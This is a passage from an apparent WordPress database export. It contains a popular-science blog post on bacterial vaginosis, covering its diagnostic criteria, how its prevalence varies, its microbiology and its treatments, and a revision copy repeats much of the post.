“foreign cells enter into your body and start wrecking stuff”. Instead, discussing BV means discussing really interesting questions of what’s normal, what’s abnormal, and how and why one flips between the two. It forces us to acknowledge that our body is not one but many, and try to figure out what that means for health.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s start with the obvious question, first. What is BV?<br><br>Well, there’s two ways of defining it. There’s the mostly symptomatic Amsel criteria, which requires 3 of the 4 criteria to be present: a thin white or gray discharge, a change in pH to more alkaline, a fishy smell, and/or bacteria on the vaginal epithelium, usually (and maybe always)&nbsp;<em>Gardnerella vaginalis</em>. Alternatively, there’s the etiological (i.e. causal) Nugent criteria, which measures a shift from the “normal”&nbsp;<em>Lactobacilli&nbsp;</em>in the vagina to other sorts of bacteria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Which criteria you use says a lot about what you consider BV to be already. If you just think of BV as “something gross is happening to my/my patient’s vagina and I’d like it to stop”, then you’d use the Amsel criteria. On the other hand, if you think of BV as a shift away from a “normal” microbiome to an “abnormal” microbiome, you’d use the Nugent criteria. In the latter view, it doesn’t matter if there are any symptoms that the patient might be bothered by. It’s still a disease even if the patient doesn’t care.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most studies end up using a mix of both and don’t think about it further. However, as you might expect, the sort of benevolent paternalism inherent in using something like the Nugent criteria and its assumption of what makes a “normal” vagina has led to a minority view that BV might not be a disease at all. Perhaps, this minority view suggests, BV is just a different “normal” state that vaginas can be in, in the same way both straight and curly hair are just different “normal” states that hair can be in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If that analogy seems uncomfortably race-adjacent to you, that’s no accident. One of the mysteries about BV is that its prevalence varies a lot by race and location. Black women in the US are&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2594421/?page=6\">two times as likely to have BV as white women</a>&nbsp;(50% vs 23.2%), while Mexican American women are about 1.5 times as likely (32%). Women in Tibet apparently have&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1016/j.ajog.2013.05.006\">BV levels of 60%, while white women in Barcelona have BV levels of 6.4%</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, this minority view suggests, we are really just stigmatizing poor, non-white women for no good reason. Maybe we should just accept that some vaginas smell fishy or have discharge, and stop trying to fix them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m sympathetic to this view, but only up to a point. This minority view is correct that the change in the vaginal microbiome in and of itself isn’t harmful, but, as the Amsel criteria suggests, a fishy smell and discharge are not the only consequences of BV. There’s also a change in pH, from a relatively acidic 4.0-4.5 to a more basic 5.0-5.5.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This relatively small change is very important, because changing the pH from 4.0 to 5.0 makes the vagina a much more hospitable environment for a range of pathogens. So, for example, there’s strong evidence that BV makes it more likely for a woman to catch&nbsp;<a href=\"https://academic.oup.com/cid/article/36/5/663/456379\">chlamydia or gonorrhea if she has sex with an infected partner</a>, and, vice versa, that both&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/15899081/#:~:text=Chlamydial%20infection%20in%20women%20was,pH%2C%20even%20in%20asymptomatic%20individuals.\">chlamydia</a>&nbsp;and&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6892601/#:~:text=Vaginal%20pH%20%E2%89%A54.5%20and,of%20prospectively%20enrolled%20exposed%20women.\">gonorrhea</a>&nbsp;prefer more alkaline vaginal environments<a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-3-99132379\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anything that’s good for transmitting chlamydia is probably bad overall, in my estimation. So, I think we can safely say that BV is bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that that hot take is out of the way, we next have to address another difficult question. How does one get BV?<br><br>Well, if we go back to the etiological part of the Amsel and Nugent criteria, it’s most natural to think of it as some kind of infection, specifically an infection of&nbsp;<em>Gardnerella vaginalis&nbsp;</em>(GV)<em>,&nbsp;</em>which results in those distinctive “clue cells” on the epithelium. And there are definitely parts to that which make sense.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d6dc5-6af0-4098-8bdf-5e8cc739b7d4_259x194.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d6dc5-6af0-4098-8bdf-5e8cc739b7d4_259x194.jpeg\" alt=\"Clue Cells( Vaginosis)... - Medical Laboratory Technology | Facebook\" title=\"Clue Cells( Vaginosis)... - Medical Laboratory Technology | Facebook\"/></a><figcaption class=\"wp-element-caption\">Clue cells are epithelial cells covered in bacteria, which can then be stained.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>First, there’s the fact that BV can be cured, at least temporarily, by antibiotics. Second, back in the 50s and 60s, when they did challenge trials in BV, they did have limited success in giving women BV by infecting them with GV<a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-4-99132379\">4</a>. Third, it does seem possible to sexually transmit BV in the wild. Women who have sex with women are more likely to have BV&nbsp;<a href=\"https://www.publish.csiro.au/sh/sh17087\">than women who have sex with men</a>, and, if you’re a lesbian with a sex partner with BV,&nbsp;<a href=\"https://academic.oup.com/jid/article/209/10/1562/855052\">you’re more likely to contract it than if you’re a woman whose sex partner does not have BV</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But all of these come with caveats. For antibiotics,&nbsp;<a href=\"https://bmcinfectdis.biomedcentral.com/articles/10.1186/s12879-015-1027-4\">more than 50% of women experience a remission in 6-12 months</a>. In those challenge trials,&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/0002937855900958\">it was very difficult to infect women with GV alone</a>. Infecting women with vaginal fluid from a woman with BV was much more successful. And for sexual transmission, men who have GV in their urethra don’t seem to be able to transmit it to women very easily.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We also get the issue that GV on its own doesn’t seem that bad. Almost all women have some amount of GV, and even&nbsp;<a href=\"https://www.microbiologyresearch.org/content/journal/jmm/10.1099/jmm.0.066407-0\">some women with high levels of GV don’t necessarily have BV</a><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-5-99132379\">5</a>. In fact, GV on its own cannot produce a fishy smell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, we can’t really model GV as an STI in the same way as we can something like chlamydia. Instead, we can probably think of GV instead as an endemic bacteria that can be picked up from a lot of different places, and can live in a lot of different places, including&nbsp;<a href=\"https://journals.asm.org/doi/abs/10.1128/jcm.26.6.1130-1133.1988\">the pharynx, rectum, and urinary tract</a>. Unlike&nbsp;<em>Lactobacillus</em>, it prefers iron-rich blood and slightly higher pHs. However, much like&nbsp;<em>Lactobacillus</em>, it promotes the pH that it prefers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most of the time,&nbsp;<em>Lactobacillus&nbsp;</em>is able to be dominant in the vagina by&nbsp;<a href=\"https://www.tandfonline.com/doi/abs/10.3109/08910608909140210\">producing antimicrobial substances</a>&nbsp;and&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S0923250817300839\">promoting low pH by producing lactic acid</a>. However, sometimes, the situation changes to favor GV dominance. This might be because of a sudden insult to the&nbsp;<em>Lactobacillus</em>&nbsp;population, like a change in vaginal microenvironment or a new antibiotic. Or, it might be a sudden boost to the GV population, like the introduction of a large amount of GV or a lot of iron-rich blood. If the former,&nbsp;<a href=\"https://academic.oup.com/jid/article/212/12/1856/2911944\">the GV can start producing a biofilm</a>&nbsp;and raising the pH, further promoting its growth and limiting that of&nbsp;<em>Lactobacillus.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antibiotics might then appear to be effective if they successfully reduce the population of GV. However, this only works if the GV itself is eliminated (rather than, say, the odor causing bacteria), and if the vaginal microenvironment is then made hospitable to&nbsp;<em>Lactobacillus&nbsp;</em>again, possibly by&nbsp;<em>Lactobacillus</em>&nbsp;itself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One very obvious way to make the vaginal microenvironment more hospitable to&nbsp;<em>Lactobacillus&nbsp;</em>than to GV is to limit the amount of blood available. GV prefers blood to grow;&nbsp;<em>Lactobacillus</em>&nbsp;does not. Hormonal birth control,&nbsp;<a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD000154.pub3/abstract\">which can limit or stop periods</a>, is therefore&nbsp;<a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0073055\">associated with a significantly reduced risk of BV</a>. This may also explain the difference in prevalence of BV between white and black women, as&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3412526/\">white women are more likely to be on hormonal contraception</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other thing that you might think of in terms of restoring the vaginal microenvironment is making it more acidic again. The most common way of doing this is douching, or washing the vagina out. Unfortunately, this isn’t the best way of doing it. First of all, most women who douche will douche regardless of whether they have BV or not, which unnecessarily changes the microenvironment. Second, many douches aren’t particularly acidic or have other unnecessary components to smell good, which defeats the purpose. These factors combined mean that regular douching is actually associated with BV (although, interestingly,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1016/s0029-7844(02)02184-1\">douching before or after sex is associated with a significant reduction in chlamydia or gonorrhea</a>).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, other acidic treatments do work well. Intravaginal boric acid&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6878170/\">has some good anecdotal support</a>, and intravaginal vitamin C tablets actually&nbsp;<a href=\"https://www.thieme-connect.com/products/ejournals/abstract/10.1055/s-0031-1296197\">worked very well in a double-blind trial</a>&nbsp;(55% of women cured with treatment vs 25% cured with placebo). Intravaginal vitamin C tablets also worked great&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3712888/\">to prevent recurrence of bacterial vaginosis</a>&nbsp;when women inserted them for 6 days after menses for 6 monthly cycles (16.2% recurrence for treatment in the 6 months vs. 32.4% recurrence for placebo).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, of course, you can try to give a headstart to&nbsp;<em>Lactobacillus</em>&nbsp;with intravaginal probiotics, which&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0002937810006101\">also worked well</a>&nbsp;in a double-blind trial (16% recurrence for treatment vs. 45% for placebo) as well&nbsp;<a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD006289.pub2/abstract\">as in a Cochrane review</a>. As with all probiotic trials, though, the authors warn of the prevalence of bad quality probiotics, which either fail to make sure their bacteria are alive or fail to make sure that the probiotic contains the bacteria at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this is useful enough for practical purposes. However, what I think would be especially interesting is taking this knowledge and using it for the other super important microenvironment in the body that’s much harder to access: the digestive tract. There have been a ton of studies and papers done on probiotics, antibiotics, and microbiota transplants for the digestive tract, but there still aren’t firm conclusions on what to do. And, more importantly, many digestive tract issues remain, uh, intractable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Are there digestive tract equivalents of vitamin C tablets and boric acid? Should we be inserting probiotics rectally instead of swallowing them? Is a fecal transplant equivalent to a vaginal fluid transplant? Can we (and should we) nurture the&nbsp;<em>Lactobacillus</em>&nbsp;in the stomach by using lessons from the vagina?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are only so many places where our commensal bacteria are important for our health, and few as easily accessible as the vagina. This could at last be our chance to explore not only the mysteries of the vagina, but ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-1-99132379\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not really.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-2-99132379\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wikipedia gives a rate of “5 to 70%”, which is an entirely useless range but reflects the fact that it is definitely common, but that the prevalence varies so much from region to region it’s hard to get a good grasp on how common it is overall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-3-99132379\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s also weaker evidence that women with BV are more likely to have&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S000293781832221X\">HPV</a>,&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0002937802082212\">UTIs</a>, and&nbsp;<a href=\"https://journals.lww.com/aidsonline/fulltext/2008/07310/bacterial_vaginosis_and_hiv_acquisition__a.13.aspx\">HIV</a>. However, it’s really hard to piece out correlation and causation with these ones. Does HPV cause BV, BV cause HPV, or something else (e.g. poor hygiene) cause both?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, in the chlamydia/gonorrhea studies, they’re examining women at STD clinics who have had sex with an infected partner. So, everyone at the clinic is already at risk for an STD, and it’s only the immediate sexual environment that makes a difference.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weirdly, reporting regular condom use did not seem to make much of a difference, as 10% of condom users and 10% of non-condom users both got gonorrhea, and 7% of condom users and 11% of non-condom users got chlamydia. This was a notably poor population with only 23% of people on non-Medicaid insurance, so people might just be lying about condoms or using them wrong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-4-99132379\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The 50s and 60s were a different, worse time in medical ethics. Granted, they probably thought BV was harmless except for the bad smell, but you think you’d take precaution before just jumping in and infecting people. Also, they did some of these studies on pregnant women, with absolutely no idea what this would do to the fetus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-5-99132379\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although there might still be a change to the pH, which would be bad, as aforementioned.</p>\n<!-- /wp:paragraph -->','Bacterial vaginosis: we contain multitudes','','publish','closed','closed','','bacterial-vaginosis-we-contain-multitudes','','','2024-06-12 15:30:12','2024-06-12 15:30:12','',0,'https://trevorklee.com/?page_id=364',0,'page','',0),
(366,1,'2024-06-12 15:30:12','2024-06-12 15:30:12','<!-- wp:paragraph -->\n<p><em>As a service to the impatient reader, the tl;dr is that you can cure recurrent bacterial vaginosis by antibiotics combined with intravaginal vitamin C and/or intravaginal probiotics. Limiting the amount of bleeding you undergo every month (i.e. by using hormonal birth control) also helps. But seriously, read the rest of the post, because bacterial vaginosis is very interesting.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In 10th grade, an English teacher caught some friends of mine doodling penises on a school table. In the midst of yelling at them for defacing school property, he asked, “You know, what is it about penises that is so fascinating to you guys? Why do you never draw vaginas? Are they just not as interesting?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That question has haunted me for the decade plus since that event<a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-1-99132379\">1</a>. What I’ve concluded is that vaginas are not not as interesting as penises. I think, on the contrary, they’re too interesting. They’re too mysterious. Now that I’m older and hopefully more mature, I think I’m finally ready to tackle some of the mysteries of the vagina. Specifically, I want to discuss bacterial vaginosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0dd673e3-e126-4c39-a80f-075efdb7808f_680x1092.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0dd673e3-e126-4c39-a80f-075efdb7808f_680x1092.jpeg\" alt=\"Georgia O\'Keeffe on the Art of Seeing – The Marginalian\" title=\"Georgia O\'Keeffe on the Art of Seeing – The Marginalian\"/></a><figcaption class=\"wp-element-caption\">Would a flower by any other name not smell just as sweet, if it wasn’t experiencing recurrent episodes of&nbsp;<em>Gardnerella vaginalis</em>&nbsp;overgrowth?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now, I know what you’re thinking. Bacterial vaginosis (BV) is generally not the sort of thing that one wants to discuss. Not only is it generally regarded as gross and embarrassing by the sufferers, it’s also not regarded as that serious an illness by the world at large. Nobody’s ever told a friend, “I’m so proud of you for successfully fighting your BV.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So why do I want to discuss it? Well, first of all, because it’s this interesting mix of very common but poorly understood. Somewhere north of 30% of women probably have it at any given time<a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-2-99132379\">2</a>, but we still don’t really know what causes it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, because BV’s not your average disease. BV is a perturbation of the microbiome of the vagina, which means that the “normal” bacteria of the vagina have been replaced by some kind of abnormal bacteria. This is very different from your average infection, which is a much more clear cut case of “foreign cells enter into your body and start wrecking stuff”. Instead, discussing BV means discussing really interesting questions of what’s normal, what’s abnormal, and how and why one flips between the two. It forces us to acknowledge that our body is not one but many, and try to figure out what that means for health.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s start with the obvious question, first. What is BV?<br><br>Well, there’s two ways of defining it. There’s the mostly symptomatic Amsel criteria, which requires 3 of the 4 criteria to be present: a thin white or gray discharge, a change in pH to more alkaline, a fishy smell, and/or bacteria on the vaginal epithelium, usually (and maybe always)&nbsp;<em>Gardnerella vaginalis</em>. Alternatively, there’s the etiological (i.e. causal) Nugent criteria, which measures a shift from the “normal”&nbsp;<em>Lactobacilli&nbsp;</em>in the vagina to other sorts of bacteria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Which criteria you use says a lot about what you consider BV to be already. If you just think of BV as “something gross is happening to my/my patient’s vagina and I’d like it to stop”, then you’d use the Amsel criteria. On the other hand, if you think of BV as a shift away from a “normal” microbiome to an “abnormal” microbiome, you’d use the Nugent criteria. In the latter view, it doesn’t matter if there are any symptoms that the patient might be bothered by. It’s still a disease even if the patient doesn’t care.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most studies end up using a mix of both and don’t think about it further. However, as you might expect, the sort of benevolent paternalism inherent in using something like the Nugent criteria and its assumption of what makes a “normal” vagina has led to a minority view that BV might not be a disease at all. Perhaps, this minority view suggests, BV is just a different “normal” state that vaginas can be in, in the same way both straight and curly hair are just different “normal” states that hair can be in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If that analogy seems uncomfortably race-adjacent to you, that’s no accident. One of the mysteries about BV is that its prevalence varies a lot by race and location. Black women in the US are&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2594421/?page=6\">two times as likely to have BV as white women</a>&nbsp;(50% vs 23.2%), while Mexican American women are about 1.5 times as likely (32%). Women in Tibet apparently have&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1016/j.ajog.2013.05.006\">BV levels of 60%, while white women in Barcelona have BV levels of 6.4%</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, this minority view suggests, we are really just stigmatizing poor, non-white women for no good reason. Maybe we should just accept that some vaginas smell fishy or have discharge, and stop trying to fix them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m sympathetic to this view, but only up to a point. This minority view is correct that the change in the vaginal microbiome in and of itself isn’t harmful, but, as the Amsel criteria suggests, a fishy smell and discharge are not the only consequences of BV. There’s also a change in pH, from a relatively acidic 4.0-4.5 to a more basic 5.0-5.5.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This relatively small change is very important, because changing the pH from 4.0 to 5.0 makes the vagina a much more hospitable environment for a range of pathogens. So, for example, there’s strong evidence that BV makes it more likely for a woman to catch&nbsp;<a href=\"https://academic.oup.com/cid/article/36/5/663/456379\">chlamydia or gonorrhea if she has sex with an infected partner</a>, and, vice versa, that both&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/15899081/#:~:text=Chlamydial%20infection%20in%20women%20was,pH%2C%20even%20in%20asymptomatic%20individuals.\">chlamydia</a>&nbsp;and&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6892601/#:~:text=Vaginal%20pH%20%E2%89%A54.5%20and,of%20prospectively%20enrolled%20exposed%20women.\">gonorrhea</a>&nbsp;prefer more alkaline vaginal environments<a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-3-99132379\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anything that’s good for transmitting chlamydia is probably bad overall, in my estimation. So, I think we can safely say that BV is bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that that hot take is out of the way, we next have to address another difficult question. How does one get BV?<br><br>Well, if we go back to the etiological part of the Amsel and Nugent criteria, it’s most natural to think of it as some kind of infection, specifically an infection of&nbsp;<em>Gardnerella vaginalis&nbsp;</em>(GV)<em>,&nbsp;</em>which results in those distinctive “clue cells” on the epithelium. And there are definitely parts to that which make sense.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d6dc5-6af0-4098-8bdf-5e8cc739b7d4_259x194.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d6dc5-6af0-4098-8bdf-5e8cc739b7d4_259x194.jpeg\" alt=\"Clue Cells( Vaginosis)... - Medical Laboratory Technology | Facebook\" title=\"Clue Cells( Vaginosis)... - Medical Laboratory Technology | Facebook\"/></a><figcaption class=\"wp-element-caption\">Clue cells are epithelial cells covered in bacteria, which can then be stained.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>First, there’s the fact that BV can be cured, at least temporarily, by antibiotics. Second, back in the 50s and 60s, when they did challenge trials in BV, they did have limited success in giving women BV by infecting them with GV<a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-4-99132379\">4</a>. Third, it does seem possible to sexually transmit BV in the wild. Women who have sex with women are more likely to have BV&nbsp;<a href=\"https://www.publish.csiro.au/sh/sh17087\">than women who have sex with men</a>, and, if you’re a lesbian with a sex partner with BV,&nbsp;<a href=\"https://academic.oup.com/jid/article/209/10/1562/855052\">you’re more likely to contract it than if you’re a woman whose sex partner does not have BV</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But all of these come with caveats. For antibiotics,&nbsp;<a href=\"https://bmcinfectdis.biomedcentral.com/articles/10.1186/s12879-015-1027-4\">more than 50% of women experience a remission in 6-12 months</a>. In those challenge trials,&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/0002937855900958\">it was very difficult to infect women with GV alone</a>. Infecting women with vaginal fluid from a woman with BV was much more successful. And for sexual transmission, men who have GV in their urethra don’t seem to be able to transmit it to women very easily.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We also get the issue that GV on its own doesn’t seem that bad. Almost all women have some amount of GV, and even&nbsp;<a href=\"https://www.microbiologyresearch.org/content/journal/jmm/10.1099/jmm.0.066407-0\">some women with high levels of GV don’t necessarily have BV</a><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-5-99132379\">5</a>. In fact, GV on its own cannot produce a fishy smell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, we can’t really model GV as an STI in the same way as we can something like chlamydia. Instead, we can probably think of GV instead as an endemic bacteria that can be picked up from a lot of different places, and can live in a lot of different places, including&nbsp;<a href=\"https://journals.asm.org/doi/abs/10.1128/jcm.26.6.1130-1133.1988\">the pharynx, rectum, and urinary tract</a>. Unlike&nbsp;<em>Lactobacillus</em>, it prefers iron-rich blood and slightly higher pHs. However, much like&nbsp;<em>Lactobacillus</em>, it promotes the pH that it prefers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most of the time,&nbsp;<em>Lactobacillus&nbsp;</em>is able to be dominant in the vagina by&nbsp;<a href=\"https://www.tandfonline.com/doi/abs/10.3109/08910608909140210\">producing antimicrobial substances</a>&nbsp;and&nbsp;<a href=\"https://www.sciencedirect.com/science/article/pii/S0923250817300839\">promoting low pH by producing lactic acid</a>. However, sometimes, the situation changes to favor GV dominance. This might be because of a sudden insult to the&nbsp;<em>Lactobacillus</em>&nbsp;population, like a change in vaginal microenvironment or a new antibiotic. Or, it might be a sudden boost to the GV population, like the introduction of a large amount of GV or a lot of iron-rich blood. If the former,&nbsp;<a href=\"https://academic.oup.com/jid/article/212/12/1856/2911944\">the GV can start producing a biofilm</a>&nbsp;and raising the pH, further promoting its growth and limiting that of&nbsp;<em>Lactobacillus.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Antibiotics might then appear to be effective if they successfully reduce the population of GV. However, this only works if the GV itself is eliminated (rather than, say, the odor causing bacteria), and if the vaginal microenvironment is then made hospitable to&nbsp;<em>Lactobacillus&nbsp;</em>again, possibly by&nbsp;<em>Lactobacillus</em>&nbsp;itself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One very obvious way to make the vaginal microenvironment more hospitable to&nbsp;<em>Lactobacillus&nbsp;</em>than to GV is to limit the amount of blood available. GV prefers blood to grow;&nbsp;<em>Lactobacillus</em>&nbsp;does not. Hormonal birth control,&nbsp;<a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD000154.pub3/abstract\">which can limit or stop periods</a>, is therefore&nbsp;<a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0073055\">associated with a significantly reduced risk of BV</a>. This may also explain the difference in prevalence of BV between white and black women, as&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3412526/\">white women are more likely to be on hormonal contraception</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The other thing that you might think of in terms of restoring the vaginal microenvironment is making it more acidic again. The most common way of doing this is douching, or washing the vagina out. Unfortunately, this isn’t the best way of doing it. First of all, most women who douche will douche regardless of whether they have BV or not, which unnecessarily changes the microenvironment. Second, many douches aren’t particularly acidic or have other unnecessary components to smell good, which defeats the purpose. These factors combined mean that regular douching is actually associated with BV (although, interestingly,&nbsp;<a href=\"https://sci-hubtw.hkvisa.net/10.1016/s0029-7844(02)02184-1\">douching before or after sex is associated with a significant reduction in chlamydia or gonorrhea</a>).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, other acidic treatments do work well. Intravaginal boric acid&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6878170/\">has some good anecdotal support</a>, and intravaginal vitamin C tablets actually&nbsp;<a href=\"https://www.thieme-connect.com/products/ejournals/abstract/10.1055/s-0031-1296197\">worked very well in a double-blind trial</a>&nbsp;(55% of women cured with treatment vs 25% cured with placebo). Intravaginal vitamin C tablets also worked great&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3712888/\">to prevent recurrence of bacterial vaginosis</a>&nbsp;when women inserted them for 6 days after menses for 6 monthly cycles (16.2% recurrence for treatment in the 6 months vs. 32.4% recurrence for placebo).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, of course, you can try to give a headstart to&nbsp;<em>Lactobacillus</em>&nbsp;with intravaginal probiotics, which&nbsp;<a 